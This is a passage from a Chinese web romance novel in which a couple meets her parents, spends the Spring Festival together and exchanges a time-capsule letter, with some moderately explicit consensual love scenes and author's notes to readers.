任舒晚拿出手机拍了几张景色照,又调转摄像头对着两人,“我要拍合照。” 陆言知柔声应下,歪头靠近她,取景框里两人亲昵的抱在一起,脸上带着幸福的笑容,他举起黑乎乎的手,比了个耶,为照片增添了一丝真实和滑稽。 成片效果好,任舒晚满意地欣赏了一会儿,忽然道:“我想发给我妈妈。” 陆言知微愣,紧接着被激动所代替,“晚晚终于肯给我名分了。” 任舒晚扑哧一下笑出声,仰头盯着他,眼睛亮晶晶的,“那你妈妈知道吗?” 陆言知顿了顿,“知道,我偷偷给她看过你的照片。” 任舒晚大惊失色,她原以为他们还只是偷偷恋爱的状态,没想到他居然早跟家里人说过了。 “你给阿姨看到哪张呀,好不好看?阿姨说什么了?” 陆言知揉了下她的脑袋,“你的照片都很好看啊,我妈妈说你很漂亮,她一看就合眼缘,还催着我带你回家吃饭。” 任舒晚羞赧道:“真的吗?哎呀,我突然好紧张。” 陆言知笑了,“紧张什么,你这么优秀,他们都会喜欢你的。” 任舒晚着急点开手机,“不行不行,我要发给我妈妈看,告诉我妈妈我有男朋友了。” “等等。”陆言知立刻握住她的手,他下意识轻咳一声,“我那张照片是不是太不稳重了,第一次给阿姨叔叔看,要不要选一张更稳妥一点的。” 任舒晚瞬间笑出声,“你还问我紧张什么,你在紧张什么呀,陆言知?” 陆言知蹙起眉,“我觉得第一次见还是慎重一点比较好,要不发我的一寸照?” “陆总,这不是面试,你冷静一点。”任舒晚笑得前仰后翻,“你很帅啦,不要焦虑。不过你要是不想发这张的话,发我们出去玩拍得合照怎么样?” 陆言知慎重的思索了一番,点了点头,“好。”—— 作者有话说:宝宝们,正文大约还有3-4章,后续还会有番外哦~ 第47章 第 47 章 见父母 两人商议后选了去隅阳游玩时拍得合照, 背景是山涧瀑布,两人亲昵地靠在一起,阳光斜斜洒在身上, 尽显生机勃勃。 如此既满足了陆言知想要的稳重, 又凸显生活气息, 显得亲密幸福。 任舒晚发到了一家三口的家庭群里,并配文:[爸爸妈妈我恋爱啦!] 几乎只隔了半分钟就收到了回复, 爸爸妈妈第一反应不是询问陆言知的个人或家庭情况, 而是很开心的感叹女儿长大了,继而又夸赞了陆言知一表人才,两个人很般配。 任舒晚所有的欢喜都被爸爸妈妈稳稳托住, 她从小在自由和爱中长大,他们尊重她的选择, 无条件支持信任她。 她不是一时兴起想要公开,是因为她觉得她跟陆言知是非常认真的在交往,陆言知规划的未来中到处有她的身影,而她也把他列进了重要名单中,所以她想要跟爸爸妈妈分享这份喜悦。 任舒晚跟他们说了陆言知的个人情况, 他们很满意, 唯独对于他过于优渥的家境有些犯嘀咕, 不过任妈并没有摊开来说教,只是点到即止, 她相信她的女儿会认真衡量这些。 陆言知不知道任舒晚和父母聊了什么, 只看到她盯着手机时唇边一直洋溢着开心的笑容。 说不紧张是假的, 他在乎她,更在乎她父母对他的看法,他希望他们的交往能得到家人的认可。 他叉了块西瓜递到她面前, 没有贸然去看她的手机,试探询问,道:“叔叔阿姨怎么说?” 任舒晚就着他的手咬了口西瓜,笑眯眯道:“当然被陆总的魅力折服了呀!” 她划到任妈夸他的那一段,“呐,你看,我妈妈说你一表人才,五官端正,气质非凡。我爸爸说你年轻有为,前途无量。” 陆言知仔细看了一会儿,表情逐渐放松下来,“等假期我去拜访叔叔阿姨。” 任舒晚搂住他的胳膊,“好呀,带你回家哦,陆总。” — 在海边畅玩了两天,返回临城时已经是周日傍晚。 进家门,在玄关处换完鞋,陆言知就迫不及待地拉起她往客厅走。 任舒晚拖鞋都还没穿好,踉跄一步跟上他,一头雾水,“怎么了?你要带我干嘛去?” 陆言知歪头轻笑,“秘密。” 刚走到沙发旁,窝着的煤球和汤汤就相继跳下来,亦步亦趋围着他们蹦蹦跳跳,挡住他们去路。 陆言知无奈,弯腰将两只抱进怀里,“添乱。” 任舒晚被他搞得晕头转向,急不可耐道:“什么秘密呀,别卖关子了!” 陆言知笑着推开煤球小窝的门,朝她招招手,“来,晚晚。” 任舒晚不明所以地走了过去,站到门口后被眼前的一幕惊住了,这是她从来没想象过的景象。 煤球的小窝布局改动,正对门的墙边多了一个温馨的角落,一张木质矮桌上放着元宝的照片,骨灰瓶摆在前面,周遭放着它喜欢的玩具和常穿的围兜,以及一盆郁郁葱葱的盆栽,个头很大,在小矮桌上有些突兀,任舒晚定睛一看,居然是种得胡萝卜。 她愣怔看向身旁的陆言知,陆言知也在看她,视线交汇,她鼻头有些酸,他还记得元宝,会细心的摆上它的牌位,会种小兔子都爱吃的胡萝卜,会惦记着她惦记的所有,哪怕她从来没有说过的。 看着她眼眶越来越红,陆言知有些手足无措,他将人抱进怀里,“怎么了?不喜欢吗?” 任舒晚拨浪鼓似的摇着头,声音哽咽,“不是,没有,很喜欢,元宝也一定很喜欢,谢谢你陆言知。” “是不是傻。”陆言知捏捏她的脸颊,“不要和我说谢谢,比起谢谢,我更想要一个充满爱意的吻。” 任舒晚被他逗笑,立刻捧着他的脸重重吻了一下,“你什么时候布置的?” “昨天下飞机后找阿姨来收拾的。”陆言知拉着她走进小窝。 他不仅添置了元宝的小窝,还给煤球和汤汤重新布置了,多了猫爬架、隧道玩具,各种小猫小兔爱的小角落。 放眼看过去,整间房间充斥着满满的爱意。 “我还给它们的房间改了名字。” 他变魔术似的从抽屉里拿出一个金色名牌,上面雕刻着四个大字——兔猫日记。 任舒晚对他设计的一切都很满意,立刻拽着他把铭牌挂在房间门上。 期间陆言知在汤汤进进出出时又发现一个问题,便和她商量着在门上开一个小门,供两小只自由出入。 任舒晚突然环住他的腰,撒娇地蹭了蹭他胸口,“陆言知,我和煤球汤汤要离不开你了。” 陆言知自然地搂住她,笑道:“看来我的目的达成了。” — 国庆节,两人决定一块儿回青湖镇。 陆言知对此次拜访任爸任妈非常重视,礼物买了一后备箱,从吃喝到护肤保健品,应有尽有,即便如此,他仍怕不够周到,临回去的前一晚还在仔细研究礼单。 任舒晚觉得已经够多了,再买就铺张浪费了,仅是他准备的海鲜和各种肉类就能放两个冰箱了,更别提千奇百怪的水果了。 本身妈妈对他的家世背景就有些不安,他再声势浩大恐怕更要让妈妈忐忑了。 眼看他又要打电话让阿姨准备东西,任舒晚连忙冲过去阻止,“已经非常周全了,我的陆总。” 陆言知蹙着眉,表情严肃,“叔叔如果喝不惯金骏眉呢?再带些信阳毛尖吧。” 任舒晚头疼,他买的那茶叶都五位数一公斤了,还要再买其他的。 “你别紧张,你买什么我爸爸都会喜欢的。”任舒晚握住他微凉的手,安抚道,“你已经做得很好了。” 陆言知眉头放松,回握住她的手,十指相扣,“好。” 看他如此听话,任舒晚像哄小孩似的揉揉他的碎发,“乖哦,不准再买了哦。” 陆言知勾唇,亲昵地靠近,嗓音低沉蛊惑,“乖有奖励吗?” “没有,哼。”任舒晚躲开他灼热的呼吸,闪身就要跑,“我要去洗澡呢。” 陆言知哪能给她机会,眼疾手快勾住她的腰,稍稍使力就将她抱进怀中。 她被迫坐在他腿上,腰被牢牢钳制着,“干嘛呀。” “跑什么?”鼻尖相抵,他偏头一吻落在她唇边,“还没给奖励呢,任老师。” 任舒晚装傻充愣,“都亲过了,还不算奖励吗?你越来越贪心了哦。” 陆言知委屈地眨眨眼,“是你越来越小气了。” “说谎。”任舒晚推着他肩膀,“我要去洗澡,明天还要早起呢。” “我陪你?” 还不等任舒晚拒绝,他已经拦腰将她抱起,大步往楼上走去。 “喂,陆言知,明天还要早起呢!!” 陆言知轻啄她的脸颊,哑声道:“晚晚,只两次,我保证。” 不该信他的,他哪能轻易放过她。 浴室、阳台、床…… 他不知餍足,将痕迹落满整个房间。 第二天,任舒晚水灵灵的起不来了,迷迷糊糊被他从床上抱去洗漱,温毛巾擦过脸才清醒许多。 上了车她便靠在他身上继续闷头大睡,等再次睁眼时车已经下了高速,开进了青湖镇中心。 她懒懒掀开眼皮,打了个哈欠,“怎么那么快。” 她声音哑哑的,陆言知拿了温水给她润嗓,“宝宝,你睡了三个小时。” 任舒晚就着他的手抿了口,“那还不是因为我昨晚也才只睡了三个小时。” 她在他怀里蹭了蹭,闷声道:“你睡了吗?” “没有。”陆言知习惯性地为她揉着后腰,“我不困。” 任舒晚摇头,真不知道他哪里来得那么大精神,好像做过后就充满能量似的。 十几分钟后车子停在任舒晚家楼下,两人提着礼物上楼,刚下电梯门便开了,正巧碰到任妈要下楼看他们来没来。 没有预告的碰面,任妈一愣,立刻笑着打招呼,“诶,你们先来啦?言知是吧?” 陆言知恭敬点头,“阿姨好,我是言知。” 任爸闻声也从屋里走了出来,陆言知连忙打招呼,“叔叔好。” “你好你好。”任爸招呼着,“别在外面傻站着了,快进屋。” 进门,礼物挨个摆在玄关处,两人和司机又跑了一趟才把东西全都搬上来。 任妈看着一屋子东西,道:“不用这么破费,言知。” 陆言知微微一笑,“一点心意。” 他将手中的盆栽递上,“晚晚说您喜欢种花种菜,这盆素冠荷鼎送给您。” 任妈诧异不已,她爱这些花花草草,自然对它们十分了解,素冠荷鼎属于兰花界的珍稀品种,因荷瓣花型,素心无杂色还有独特的叶型草,被称为“一荷二素三奇”。 任妈收下后爱不释手,在窗边赏了许久,陆言知又和她交流了许多养花的技巧,气氛从最初的拘谨变得融洽起来。 闲聊一会儿后,任爸去厨房做饭,陆言知又跟着去帮忙,两人在厨房里交流起厨艺,一边探讨一边展示。 任舒晚看着他将爸爸妈妈哄得开心,不由得松了口气。 “晚晚,他比你大三岁是吗?”任妈突然问道。 任舒晚收回看向厨房的视线,点了点头。 任妈柔声道:“孩子挺好的,年轻有为,可妈妈还是有些担心。” “妈妈——”任舒晚撒娇地搂住任妈的手臂,“你不要想太多啦,我们还在相处中,如果真的不合适,终究走不长远的,你不要担心,你女儿还是很清醒的。” 任妈知道她独立自主,拍了拍她的手,“好,妈妈信你。” 任舒晚:“他虽然家庭条件很好,但不像那些富家子弟那么纨绔,他有能力,之前创业也吃过苦,不是养尊处优那种的。” 任妈点了点头,通过刚才的相处她能看出陆言知是一个很优秀的孩子。 “妈妈看得出来,他有教养有礼貌,也很重视你,这很难得。” 任舒晚笑眯眯地蹭着妈妈,“所以你和爸爸不要担心。” 任妈无奈,“好好好。” 饭桌上,一家人其乐融融,一边吃饭一边闲聊,任爸和陆言知还开了瓶酒小酌。 吃过饭收拾完,任妈喊着他们一块去老房子里,这时候种得葡萄已经快熟了,能摘着吃了。 开车到了古镇外,又从东门走回老房子。 这个季节的古镇格外漂亮,小桥流水,绿意盎然,目光所及之处的泉眼咕嘟咕嘟冒着小泡。可惜过了夏天的雨季,陆言知还是没能看到泉水漫到街上的奇景。 转过主街,来到僻静的胡同里,顺着青石板路走了一段,停在一户红木门前。 任爸拿钥匙打开老旧的铜锁,小院的美景映入眼帘。 葡萄种满整个院子,架子扎得高高的,藤蔓顺着木架蜿蜒生长,枝叶间一串串紫色琉璃坠下来,果实各个饱满。 从葡萄架下走过,陆言知得微微低着头,不然就会碰到葡萄。 任舒晚挽着他,小声道:“你知道吗?传说七夕的晚上躲在葡萄架下能听到牛郎和织女在天上说悄悄话。” 陆言知饶有兴趣地问道:“那你听到过吗?” 她摇头,“很可惜,我没有。小时候我以为是我听力不够好,因为我发小说她听到过,还听到老黄牛哞哞哞的声音,长大才知道原来她骗我!” 陆言知笑出声,“等明年七夕我们来试试,我来测测我的听力。” 穿过葡萄架是平房延伸出来的走廊,任妈在这里摆了茶桌,一家人坐在这里品茶看风景正好。 任爸拿了陆言知带来的金骏眉,非要露一手自己的茶艺,任舒晚则陪着任妈去挑水浇花浇菜。 午后阳光正好,微风徐徐吹过带来一阵阵清新的葡萄香,任舒晚活没干多少,只嘴馋想偷吃葡萄。 任妈无奈,只好满足小馋猫,拿着剪刀去寻熟了的葡萄。任舒晚立刻抱着小盆跟在后面。 顺着葡萄架走了两圈就摘了三大串,自己种得没有农药,任舒晚摘了一颗在衣服上蹭蹭就往嘴里塞。 任妈:“去洗洗给言知尝尝。” 任舒晚吐掉葡萄皮,“妈妈,他不爱吃葡萄。” 小院不大,任舒晚的话一字不落的传进陆言知耳朵,他疑惑蹙眉,遥遥问道:“我不爱吃葡萄?” 任舒晚眨巴眨巴眼,“不是吗?之前我送给你妈妈种得葡萄,你不是不爱吃?” 陆言知眼眸微眯,一脸不解,“我怎么记得我说很好吃?”??? “你不是客套一下吗?”任舒晚挠挠头,“网上说你只是礼貌客气一下,如果真喜欢就问我在哪里买的了。” 陆言知揉了揉太阳穴,“我可太冤枉了。” 任舒晚无辜地眨眨眼,“你不是这个意思吗?” “不是,因为小庄说是阿姨自己种得,我怎么好意思再麻烦阿姨。”!!! 不是!原来误会就是这么产生的吗?! 第48章 第 48 章 见字如面,展信颜欢…… 陆言知确实喜欢任妈种得葡萄, 一连吃了很多。 见状,任舒晚尴尬不已,去年第二次收到妈妈寄的葡萄, 她还在误会陆言知不喜欢, 他帮她搬快递, 她都没舍得分他一点。 想到这,任舒晚把水果盘往他面前推了推, “你喜欢就多吃点。” 任妈也附和道:“现在成熟度不太够, 口感达不到,再等半个月就差不多了,到时候给你们寄到公司。” 陆言知也不客气, 从善如流道:“谢谢阿姨,这是我吃到过风味最足的葡萄了, 您到底怎么种出来的?” 几句话又给任妈哄得合不拢嘴,开始滔滔不绝分享起自己种葡萄的经验。 任舒晚在一旁听着实在佩服,陆言知太会和长辈相处了,会聊又会倾听,知识面也广, 无论什么话题都能有自己的见解, 交谈一会儿就让爸爸妈妈点头称赞认可他。 一家人在小院待到傍晚, 原本晚饭打算去吃特色菜,不知陆言知跟任爸聊了什么, 两人竟在院子里架炉子改成烤肉了。 陆言知买来不少品质好的牛羊肉, 在炭火的炙烤下滋滋啦啦冒着油光, 再蘸上任爸调制的蜜汁蘸料,包上自家种得小生菜,入口先是菜的脆甜, 紧接着烤肉的焦香和蘸料的甜辣涌出,在唇齿间流连,让人忍不住再来一口。 热热闹闹地围着炉子吃着烤肉,氛围极好,那晚的小院里满是欢声笑语,久久不能平息。 在青湖镇待到收假的前一天,返回临城时任妈准备了许多特产让陆言知带回去,陆言知没有推脱,照单全收,还十分嘴甜的感谢了爸爸妈妈,给老两口哄得笑容满面。 — 假期后任舒晚也不清闲,《剑指江湖》进入开发中后期,开始进行大规模内部测试,反馈bug和体验问题。 任舒晚平常画完稿就玩一会儿,她玩过不少mmo游戏,体验下来发现《剑指江湖》很耐玩,国风画面也真实自然,很容易让玩家沉浸进去。 还未上线,她似乎就能幻想到日后它备受欢迎的场景了。 而十月份陆言知也鲜少来公司了,最近一次出现是公司岗位调整会议,石洋从程序部部长直接空降为副总经理,接替陆言知掌管公司大大小小事务,陆言知则退居幕后,只做重大决策。 如此,即便后续他们的恋情公布,也能降低对任舒晚工作的影响。 虽在公司很少见到了,但每天晚上陆言知都会来接她下班,两人偶尔买菜回家做饭,偶尔出去寻觅好吃的小店,日子幸福安逸。 不知不觉,时间匆匆而过,秋去冬来,又是一年春节。 任舒晚回青湖镇过年,陆言知舍不得她,两人在一起后几乎没有长时间分开过,在他软磨硬泡下,任舒晚被迫从上午回程改为下午回程。 而中间这段时间,自然变成了他不断索取补偿的时间。 陆言知本就精力旺盛,尤其还要一周见不了面,他更是不知满足地做了好几次,到最后任舒晚躺在他怀里连话都说不完整了,只能哼唧着求他。 洗完澡躺在床上,陆言知殷勤地给她揉腰,“宝宝,下午我送你回去好不好?” 任舒晚累得眼皮打架,闭着眼懒懒拒绝,“你来回跑什么,我坐高铁一会儿就到了。” “可我想跟你多待一会儿。”陆言知亲了亲她耳垂,“等年后我去拜访叔叔阿姨,再接你们回临城。” 新房已经通风很久,任舒晚和父母商量的是年后接他们来临城住一段时间。 “好不好,宝宝?” 任舒晚架不住他的撒娇,“好好好,都好。” “那叔叔阿姨来了你还回不回我们家?”陆言知可怜兮兮地环住她,唇在她耳侧蹭着,“你不会忍心我独守空房的,对不对,宝宝。” 他灼热的呼吸洒在她敏感的耳廓,她瑟缩着躲开,“我忍心的,陆言知。” 陆言知眸光瞬间黯淡,委屈巴巴地埋在她颈侧。 但委屈仅仅只持续了几秒钟,他便陡然抬头,眼睛亮亮的,语气欣然,“那我能不能跟你回家住?” 任舒晚想也不想地摇头,国庆节回青湖镇的时候两人都是分房睡的,爸爸妈妈比较传统,她哪敢带他回家住。 “不行,你又不是没地方睡。” 陆言知:“不抱着你我睡不着。” 陆言知不满地继续攻击她的耳朵,大有报复之势。气息越来越热,扑上来绕着她的耳垂缠绵,她忍不住颤抖起来,刚躲开就被他勾住拉了回来。 他贪婪地汲取着她身上的味道,所到之处引来酥麻的痒意,如电流般流窜全身。 她出声求饶,他抱着她得寸进尺,“带我回家睡,我就放过你。” “陆…陆言知!”她颤声凶他,语气只剩娇软,完全没有杀伤力。 陆言知反倒喜欢她此刻发得小脾气,舌尖绕着她耳廓打转,“宝宝,再喊我一句,真好听。” 任舒晚抬脚就要踹他,他似是早有察觉,迅速握住她的脚腕,将腿搭在他的身上,手牢牢捏着她腰窝,这个姿势更能让他肆无忌惮起来。 眼看掉入陷阱,再闹下去又避免不了被他狠狠惩罚。 任舒晚能屈能伸,立刻转换情绪,双手缠上他的肩膀,“老公~” 陆言知身子一僵,停顿瞬间后变本加厉地凑上前,灼热沾染湿濡的花瓣,烫得她下意识缩起脖子。 “老婆……” 他声音异常低哑,像蒙了一层雾气,让人听不真切,她心头一震,发觉好像用错称呼了,怎么这人更加过分了。 “我…我错了嘛。”任舒晚迅速求饶,可为时已晚。 他深深喘息了一声,晦暗黑眸下欲望压抑,“没错老婆,再来一次。” 羊入虎口,在劫难逃,任舒晚又被他抓着做了一次,他比以往都要狠戾,磨得她浑身打颤,在一次次灭顶的快感中濒临晕厥,他才深抵着她释放。 所有的力气被抽空,任舒晚想要自己回去都难了,脚踩在地上就发软,根本撑不住。 陆言知心满意足,顺理成章地开车送她回去,还在青湖镇蹭了一顿晚饭才回临城。 第二天除夕,任舒晚一早起来陪任爸贴春联,又去超市买水果、干货,忙碌一上午,满载而归。 晚上任爸下厨,做了一桌丰盛的年夜饭,美食摆满整张餐桌,任舒晚拍了张照片发给陆言知馋他。 他回复迅速,发来一张自拍照,他穿着舒适的黑色羊毛衫,唇边带着淡笑,煤球和汤汤窝在他臂间,呆萌地望着摄像头。 任舒晚被可爱坏了,发去语音消息,“让妈妈亲亲两只宝宝。” 片刻后陆言知回了一条语音,醋意翻腾,“你是不是只能看到它们两个,我呢?我不比它们好看吗?” 任舒晚被他逗笑,连忙柔声哄着,“才不是,我们家陆总最帅了,我第一眼就被吸引了,也亲亲你哦。” 陆言知:“下次不给你看它们了,只能看我。” 幼稚鬼吃醋,任舒晚哭笑不得。 紧接着,他又发来一条语音,“我好想你,晚晚。” 低沉的嗓音略带委屈,哑哑的,好像下一秒就要哭出来似的,不过才一天没见而已,在他口中好像变成了好久的样子,以前怎么没发现他这么粘人。 任舒晚又哄了他几句,隔着手机屏幕亲了他好几口,他才心满意足地催她去吃饭。 晚饭后收拾完便到了除夕凑局时间,今年原定是去她小叔家,一家人刚要出门,二叔一家人却先来来。 二婶:“我们刚从老三那边过来,两口子在家吵得不可开交了,老二在那劝和呢,我们就先过来了。” 闻言,任爸立刻穿衣服去看,于是麻将局便改为在任舒晚家。 小叔一家人没来,又缺了任爸和二叔,他们只凑了一桌麻将,任舒晚没什么事,百无聊赖地坐在沙发上嗑瓜子看春晚。 这时,手机突然收到一个陌生的电话,她疑惑接起,对方称自己是邮递员,有一封她的信,问她现在在不在家。 任舒晚看了眼时间,除夕夜,已经将近九点,什么邮递员还在上班?该不会是诈骗吧? 但细细一想又很怪,如果是诈骗,对方怎么不询问她的个人信息? 她思索一瞬,反正家里又不是她一个人,她大胆地应了一声,对方便说马上把信送上来。 几分钟后响起敲门声,任舒晚透过猫眼看了一下,外面是一个年轻的男生,羽绒服外套了一件蓝色马甲,马甲上写着“时间邮局”四个字样,手里拿着几封信,表情淡然。 不是诈骗? 任舒晚打开门,男生礼貌微笑,“你好任小姐,这是您的信。” 递上前的信封有些眼熟,墨绿色的纸张上烫印着精美的树叶纹路,她打量一眼,瞬间想起信封的主人。 她心脏一颤,紧张地抬手收下,“谢谢。” 男生微微颔首,“不客气,祝您新年快乐。” “新年快乐。” 门关上,任舒晚倚在门板上,小心翼翼转过信封,看向上面熟悉的字迹。 寄:青湖镇恒丰社区23号 任舒晚收 青湖镇小小的任舒晚寄 任舒晚捏着信封的手有些颤抖,她回想起那晚在时间邮局,她问陆言知要写什么,他故弄玄虚的说是秘密。 所以那封信他并没有选择写给自己,而是以小小任舒晚的口吻写给了她。 她缓缓撕开封口处的胶水,像对待稀世珍宝般拿出信纸,展开。 十年后的任舒晚: 见字如面,展信颜欢—— 作者有话说:[抱抱][抱抱]老婆们情人节快乐~ 第49章 第 49 章 下楼 干净的信纸被笔墨填满, 遒劲有力的字透过纸张在背面留下凸起的痕迹,轻抚过就像触摸到他掌心的纹路,那么熟悉。 “我是十年前的你, 今年十四岁。现在的你应该二十四岁了吧, 是不是已经大学毕业了?有没有过上幸福的生活呢?” 他模仿着她的语气, 字里行间充满年轻的热烈,他写了许多琐事, 吃了什么, 看到什么,这些任舒晚从未对他讲过,可他写过的每一段故事都能让她在记忆深处找到相同的碎片, 碎片一片片拼凑,凑出一个完整的青春。 看着看着, 一滴泪从她眼角滑落,视线逐渐模糊,那些字再也看不真切,这封信好像真的有穿越时空的魔力,带她敲开尘封多年的记忆之门, 走进那个永远回不去的夏天。 老旧的桌椅, 小小的她窝在书桌前画画, 老式风扇吱扭吱扭摇着头,伴着燥热的南风带来一丝清凉。 窗外, 妈妈在葡萄架的阴凉下择菜, 透过窗户遥遥唤她, “晚晚,来喝水。” 她吸着鼻子擦掉眼泪,他没骗人, 他真的带她回去小时候了。 思绪回拢,她继续读着信。 “你现在还在画画吗?我非常喜欢看漫画,还以自己为主角画了好多呢。” 任舒晚破涕为笑,他怎么知道的,那些以她为主角的漫画现在还被珍藏在爸爸的书柜里,里面的她各个都是超级英雄呢。 “你还怕黑吗?我现在还在开着夜灯睡觉,希望你能关掉它,变成勇敢的人。” 任舒晚笑着摇头,他怎么又知道了,不过让他失望了,她没有成为勇敢的大人,还在开着夜灯睡觉。 “我写这封信的时候,青湖镇已经进入冬天,泉水咕噜咕噜冒着热气。你收到信的时候,窗外是什么季节?” 其实当时他写下这封信时也没想好什么时候寄给她吧?那又是什么促使他选择今天送到她手上呢? 她从未像现在这般,如此迫切想要见到他,想要听到他的声音,想要扑进他温暖的怀里。 她掏出手机,恰好屏幕点亮,出现熟悉的名字。她不假思索地接听电话,听筒传来温柔的声音,“晚晚,下楼。” 下楼? 她以为自己听错了,愣怔一瞬,下一秒却想也不想地冲出门。 电梯忽然变得特别慢,数字隔几秒跳动一下,她第一次讨厌住高层,让见到他的时间变久。 期待和爱在等待中愈发满溢,充斥在胸腔下流动,每每想到即将见面,就会有一点点渗出来,将身体变得温暖。 电梯门打开,她抬步便往外冲,差点一头撞到任爸身上。 任爸连忙扶住她,疑惑道:“晚晚,你慌慌张张跑什么?” “没,爸,我有点事情,二叔三叔三婶,你们先上去吧。”她随口回了一句,捏着信封头也不回地跑出单元门口。 任爸回头瞧了一眼,无奈道:“这孩子,奔三了,还跟小孩似的呢。” 三婶一摆手,“你们不懂,晚晚这性格才讨喜呢。” 任舒晚冲出单元门,今天除夕,楼前车位停的满满当当,放眼望去,并没有看到熟悉的车子。 正疑惑之际,远处路灯下忽然多出一个身影,面容隐在昏暗光线下,但她一眼便认了出来,熟悉的身形,熟悉的步伐。 任舒晚朝他跑去,如离弦之箭,一下子撞了个满怀。 陆言知踉跄一步撑住她,牢牢将人困在怀中。 “你怎么来了?” 明明三个小时前他还在家抱着他们的孩子。 “想你了。”他下巴蹭着她的发顶,用大衣裹住她的身子,“怎么不穿衣服就跑出来了。” 任舒晚这才觉得有点冷,低头看了看,原来忘记穿羽绒服了。 “我也好想你。”她顿了顿,有些羞赧道,“所以接到电话就着急下来了。” “去车上。” 他拉着她钻进车子后排。 车里开着空调,暖煦煦的,他把她冰凉的手捂在手心里,认真打量起她,“眼睛都冻红了。” 任舒晚微愣,旋即笑眯眯地靠近他,仰着头道:“明明是被你感动的。” 她抽出手拿信给他看,“你打电话的时候我刚读到最后一句,鼻涕一把泪一把的。” 陆言知轻笑着抚过她红彤彤的眼眶,“哭什么,写这封信是为了让你高兴的,怎么还惹上小哭猫了?” “那你太贴心了嘛,而且写得字字珠玑,真的好像我小时候。” 她扑进他怀里,贪恋地吸着他的味道,好闻的木质香冲入鼻尖,他的气息包裹着她,无比安心。 “你老实交代,你是不是有超能力,还是有时光机,不然你怎么知道我小时候画漫画开夜灯睡觉?” 她眨眨眼,手在他身上摸索起来,试图翻出他的时光机。 他眯着眼配合她的动作,直至呼吸变重才捉住她作乱的手,四目相对,他无奈道:“哪有时光机,画漫画是我猜的,开夜灯睡觉是我发现你怕黑,推测的。” “哇,好聪明的陆总。”她道,“那我再问个问题哦,你要好好回答。” 他配合点头,“一定。” “你写信时打算什么时候寄给我?” 他蹙眉想了片刻,老实回答,“实话是没想好,当时我不确定我们会不会在一起,如果在一起就会找个合适的机会寄给你,如果没有在一起,可能会在几年后吧。” “为什么是几年后?”任舒晚好奇问道。 “因为……”他抿唇笑道,“不想让你忘记我。” 任舒晚:“你也太老谋深算了吧陆言知!” “那怎么办呢?为了和你在一起,我可是费尽心机呢。”他委屈地蹭蹭她的脸,“你可得用下半辈子补偿我。” 他细碎的发丝蹭得她好痒,她忍不住推他,“果然是万恶的资本家,要以身相许来补偿,太精明了。” “那我以身相许来补偿你,好不好宝宝?” 最后一个字混在两人唇齿间被吞入腹中,他抵着她深吻着,宣泄那些没有说出口的爱意。 湿滑的舌撬开她的齿关,在敏感的上颚流连,带起一阵触电般的战栗,她哼唧着勾住他的脖子,反客为主的吸住他的舌,深吸又松开轻咬,像打了一巴掌又给了颗甜枣。 他被她吸得头皮发麻,环住她腰肢的手稍稍使力,将她抱到他腿上。 她难得主动,他当然要给她足够施展的空间。 任舒晚在他腿上蹭了蹭,找到舒服的位置,肆无忌惮地坐下去。 变为上位,她自然地挑起他的下巴,唇离开,灵巧的舌尖舔过他的唇,转瞬即逝。 “喜欢我吗?”她轻声问道。 他狠狠在她唇上吻了一下,行动和话语同时表达,“喜欢。” 她的手随意搭在他的胸前,隔着毛衫摩挲着,“有多喜欢?” 他不语,只是攥住她的手伸进毛衫下摆,遂了她的意。 指尖传来肌肤的触感,块状分明,她打圈撩拨着,轻笑道:“蛮聪明的嘛,今晚要不要跟姐姐回家啊?” 他掐着她的腰肢,懒懒歪头,“能睡在你的床上吗?” “当然不行了。”她按了按他的胸肌,“不过我晚上睡觉不锁门呢。” 邀请意味分明,他自然不会拒绝,“那要跟你回家,一定要。” 两人又在车里闹了一会儿,在理智濒临崩塌之际互相收了手。 她躺在他腿上,摆弄着他的指尖,“你除夕晚上跑来,叔叔阿姨会不会介意?” “不会,他们在家带我侄子,没空管我。”陆言知道,“年后你愿不愿意跟我回家?” 任舒晚微愣,有些紧张道:“要去见叔叔阿姨吗?” “嗯,他们都很期待。” “好啊。”她结结巴巴应下,“我得好好准备一下。” 陆言知揉揉她的脑袋,“不要紧张,你只需要做自己就好,他们都很喜欢你。” 两人在车里又待了一会儿,任舒晚才领着他回了家,任爸任妈见到他很是惊讶,开心地招待他,又介绍他认识家里亲戚。 他礼貌挨个叫着,三叔好事,喊他一起搓麻将,他谦虚应下,结果打了没几圈,三叔直竖大拇指,“这孩子懂事!” 好嘛,任舒晚摇摇头,真给她家亲戚都哄开心了。 零点,外面准时响起烟花,家人纷纷凑到窗边看,陆言知搂着她在外围。 漆黑的夜幕被五彩斑斓点亮,她仰头望向他,他也在看她。 “新年快乐,晚晚。” 任舒晚一瞬间有些不真实感,“去年是我自己在看烟花,你给我发消息,隔着手机跟我说新年快乐,今年就在我身边了。” “陆言知,新年快乐。” 陆言知笑了声,“其实去年我也想来找你,但我没有名分。” 她踮脚吻了吻他的下巴,“现在有了,我的男朋友。” 回头,堂弟正在看两人,任舒晚有些不好意思,瞪了堂弟一眼,堂弟贱兮兮地笑道:“晚姐好幸福哦。” 话音落,他挨了二叔一脑瓜蹦,“你给我好好学习,先专升本了再说吧。” — 是夜,家里寂静无声。 任舒晚的门被轻轻敲响,她还未应,一个身影就侧身钻了进来。 屋里开着夜灯,她支着手臂趴在床边,脸上明暗交错,影影绰绰。 “哪位呀?”她故作疑惑歪头。 “不好意思,进错房间了。”陆言知一本正经地站在门口处,装得有模有样。 “这样啊。”任舒晚惋惜地摇摇头,“那晚安了,陆总。” “嗯。”陆言知严肃地点点头,朝着她床边走来,下一秒,拖下鞋子,翻身躺在床上,“晚安,晚晚。” 任舒晚被他逗笑,又不敢太大声,“你上错床啦!” 他无辜眨眼,“没有啊,我老婆在这呢。” 说罢,手轻轻一拽,将人直直拽进怀中,“是不是?老婆?”—— 作者有话说:明天更最后一章啦,然后正文完结,会再更几章番外。 提前祝老婆们除夕快乐,新年快乐,诸事顺遂,平安喜乐!《 》 【正文完】 第50章 第 50 章 他的爱人 任舒晚总在满足和后悔中反复横跳, 陆言知很会伺候她,可有点太会了。 每每都是她先撩拨他,他再发狠忘情, 然后变成她连连求饶。 平时在岸芷汀兰, 闹再狠也不过只有两人, 在青湖镇可不同了,隔壁就是爸爸妈妈的卧室, 她不敢发出任何声音, 连求饶反抗都只能咬他的肩膀,一夜下来咬了一排深浅不一的牙印,即使如此, 他照样甘之如饴。 到了第二天晚上,任舒晚抽调钥匙反锁了门, 任由他百般装可怜,她都无动于衷,她是真怕了他了。 待到初四,初四当天一家人返回临城。 这是新房装修后任爸任妈第一次来,推门而入, 不大的房子简约而温馨, 朝阳的客厅有一个巨大的飘窗, 摆着各类绿植,暖阳透过玻璃洒在地面, 照得家里干净明媚。 三室两厅的房子, 